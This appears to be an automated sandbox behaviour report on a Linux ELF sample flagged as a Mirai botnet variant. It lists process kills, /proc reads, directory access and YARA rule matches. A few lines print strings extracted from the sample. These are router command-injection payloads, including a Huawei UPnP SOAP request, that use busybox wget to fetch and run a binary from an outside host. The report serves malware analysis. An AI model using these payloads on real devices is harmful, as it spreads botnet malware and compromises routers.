Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6265, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6266, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6267, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6270, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6271, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6272, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6276, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6265, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6266, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6267, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6270, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6271, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6272, result: successful	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	SIGKILL sent: pid: 6276, result: successful	Jump to behavior

Source: N1msxMZ5Il.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: N1msxMZ5Il.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@6/0

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6276)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6276)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6276)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6276)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6190/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4446/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4447/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4448/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4470/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4473/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/4502/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1890/cmdline	Jump to behavior
